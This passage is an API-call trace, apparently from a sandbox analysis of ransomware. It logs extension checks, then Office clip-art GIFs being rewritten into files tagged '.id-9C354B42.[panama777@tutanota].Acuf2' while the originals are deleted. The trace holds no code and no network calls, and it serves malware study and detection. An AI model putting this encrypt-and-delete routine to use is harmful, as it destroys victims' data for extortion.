	[0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.605] lstrlenW (lpString=".doc") returned 4
	[0059.605] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0059.605] lstrlenW (lpString=".docx") returned 5
	[0059.605] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1
	[0059.606] lstrlenW (lpString=".pdf") returned 4
	[0059.606] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0059.606] lstrlenW (lpString=".xls") returned 4
	[0059.606] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0059.606] lstrlenW (lpString=".xlsx") returned 5
	[0059.606] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1
	[0059.606] lstrlenW (lpString=".ppt") returned 4
	[0059.606] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0059.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.606] lstrlenW (lpString=".zip") returned 4
	[0059.606] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0059.606] lstrlenW (lpString=".rar") returned 4
	[0059.606] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString=".bz2") returned 4
	[0059.616] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString=".7z") returned 3
	[0059.616] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0059.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.616] lstrlenW (lpString=".dbf") returned 4
	[0059.616] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.616] lstrlenW (lpString=".1cd") returned 4
	[0059.616] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.616] lstrlenW (lpString=".jpg") returned 4
	[0059.616] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.616] lstrlenW (lpString=".doc") returned 4
	[0059.616] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString=".docx") returned 5
	[0059.616] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1
	[0059.616] lstrlenW (lpString=".pdf") returned 4
	[0059.616] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString=".xls") returned 4
	[0059.616] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0059.616] lstrlenW (lpString=".xlsx") returned 5
	[0059.616] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1
	[0059.617] lstrlenW (lpString=".ppt") returned 4
	[0059.617] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0059.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.617] lstrlenW (lpString=".zip") returned 4
	[0059.617] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0059.617] lstrlenW (lpString=".rar") returned 4
	[0059.617] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0059.617] lstrlenW (lpString=".bz2") returned 4
	[0059.617] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0059.617] lstrlenW (lpString=".7z") returned 3
	[0059.617] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0059.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.617] lstrlenW (lpString=".dbf") returned 4
	[0059.617] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0059.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.617] lstrlenW (lpString=".1cd") returned 4
	[0059.617] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0059.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77
	[0059.617] lstrlenW (lpString=".jpg") returned 4
	[0059.617] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0059.617] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0059.617] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0059.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0059.646] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=7686) returned 1
	[0059.646] CloseHandle (hObject=0x184) returned 1
	[0059.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20
	[0059.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0059.646] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.646] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.646] GetLastError () returned 0x0
	[0059.646] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x1e06, lpOverlapped=0x0) returned 1
	[0059.648] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1e10, lpOverlapped=0x0) returned 1
	[0059.649] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.649] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.649] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.649] CloseHandle (hObject=0x1a0) returned 1
	[0059.649] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.649] SetEndOfFile (hFile=0x184) returned 1
	[0059.650] CloseHandle (hObject=0x184) returned 1
	[0059.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1
	[0059.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63
	[0059.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63
	[0059.651] lstrlenW (lpString=".doc") returned 4
	[0059.651] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.651] lstrlenW (lpString=".docx") returned 5
	[0059.651] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.651] lstrlenW (lpString=".pdf") returned 4
	[0059.651] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.651] lstrlenW (lpString=".xls") returned 4
	[0059.651] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.651] lstrlenW (lpString=".xlsx") returned 5
	[0059.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.651] lstrlenW (lpString=".ppt") returned 4
	[0059.651] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63
	[0059.651] lstrlenW (lpString=".zip") returned 4
	[0059.651] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.651] lstrlenW (lpString=".rar") returned 4
	[0059.651] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.651] lstrlenW (lpString=".bz2") returned 4
	[0059.651] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.651] lstrlenW (lpString=".7z") returned 3
	[0059.651] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63
	[0059.651] lstrlenW (lpString=".dbf") returned 4
	[0059.651] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63
	[0059.652] lstrlenW (lpString=".1cd") returned 4
	[0059.652] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63
	[0059.652] lstrlenW (lpString=".jpg") returned 4
	[0059.652] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.652] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.652] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.652] GetLastError () returned 0x0
	[0059.652] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0xd9c, lpOverlapped=0x0) returned 1
	[0059.654] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xda0, lpOverlapped=0x0) returned 1
	[0059.655] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.655] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.655] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.655] CloseHandle (hObject=0x1a0) returned 1
	[0059.656] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.656] SetEndOfFile (hFile=0x184) returned 1
	[0059.656] CloseHandle (hObject=0x184) returned 1
	[0059.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1
	[0059.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63
	[0059.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63
	[0059.657] lstrlenW (lpString=".doc") returned 4
	[0059.657] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.657] lstrlenW (lpString=".docx") returned 5
	[0059.657] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.657] lstrlenW (lpString=".pdf") returned 4
	[0059.657] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.657] lstrlenW (lpString=".xls") returned 4
	[0059.657] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.657] lstrlenW (lpString=".xlsx") returned 5
	[0059.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.657] lstrlenW (lpString=".ppt") returned 4
	[0059.657] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63
	[0059.657] lstrlenW (lpString=".zip") returned 4
	[0059.658] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.658] lstrlenW (lpString=".rar") returned 4
	[0059.658] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.658] lstrlenW (lpString=".bz2") returned 4
	[0059.658] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.658] lstrlenW (lpString=".7z") returned 3
	[0059.658] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63
	[0059.658] lstrlenW (lpString=".dbf") returned 4
	[0059.658] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63
	[0059.658] lstrlenW (lpString=".1cd") returned 4
	[0059.658] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63
	[0059.658] lstrlenW (lpString=".jpg") returned 4
	[0059.658] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.658] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.658] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.659] GetLastError () returned 0x0
	[0059.659] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0xc44, lpOverlapped=0x0) returned 1
	[0059.660] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xc50, lpOverlapped=0x0) returned 1
	[0059.661] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.661] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.661] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.661] CloseHandle (hObject=0x1a0) returned 1
	[0059.661] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.661] SetEndOfFile (hFile=0x184) returned 1
	[0059.662] CloseHandle (hObject=0x184) returned 1
	[0059.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1
	[0059.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63
	[0059.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63
	[0059.663] lstrlenW (lpString=".doc") returned 4
	[0059.663] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.663] lstrlenW (lpString=".docx") returned 5
	[0059.663] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.663] lstrlenW (lpString=".pdf") returned 4
	[0059.663] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.663] lstrlenW (lpString=".xls") returned 4
	[0059.663] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.663] lstrlenW (lpString=".xlsx") returned 5
	[0059.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.663] lstrlenW (lpString=".ppt") returned 4
	[0059.663] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63
	[0059.663] lstrlenW (lpString=".zip") returned 4
	[0059.663] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.663] lstrlenW (lpString=".rar") returned 4
	[0059.663] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.663] lstrlenW (lpString=".bz2") returned 4
	[0059.663] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.663] lstrlenW (lpString=".7z") returned 3
	[0059.663] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63
	[0059.663] lstrlenW (lpString=".dbf") returned 4
	[0059.663] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63
	[0059.663] lstrlenW (lpString=".1cd") returned 4
	[0059.664] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63
	[0059.664] lstrlenW (lpString=".jpg") returned 4
	[0059.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.664] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.664] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.664] GetLastError () returned 0x0
	[0059.664] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x30c2, lpOverlapped=0x0) returned 1
	[0059.666] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x30d0, lpOverlapped=0x0) returned 1
	[0059.667] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.667] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.667] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.667] CloseHandle (hObject=0x1a0) returned 1
	[0059.667] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.667] SetEndOfFile (hFile=0x184) returned 1
	[0059.668] CloseHandle (hObject=0x184) returned 1
	[0059.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1
	[0059.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63
	[0059.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63
	[0059.669] lstrlenW (lpString=".doc") returned 4
	[0059.669] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.669] lstrlenW (lpString=".docx") returned 5
	[0059.669] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.669] lstrlenW (lpString=".pdf") returned 4
	[0059.669] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.669] lstrlenW (lpString=".xls") returned 4
	[0059.669] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.669] lstrlenW (lpString=".xlsx") returned 5
	[0059.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.669] lstrlenW (lpString=".ppt") returned 4
	[0059.669] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63
	[0059.670] lstrlenW (lpString=".zip") returned 4
	[0059.670] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.670] lstrlenW (lpString=".rar") returned 4
	[0059.670] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.670] lstrlenW (lpString=".bz2") returned 4
	[0059.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.670] lstrlenW (lpString=".7z") returned 3
	[0059.670] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63
	[0059.670] lstrlenW (lpString=".dbf") returned 4
	[0059.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63
	[0059.670] lstrlenW (lpString=".1cd") returned 4
	[0059.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63
	[0059.670] lstrlenW (lpString=".jpg") returned 4
	[0059.670] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.670] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.670] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
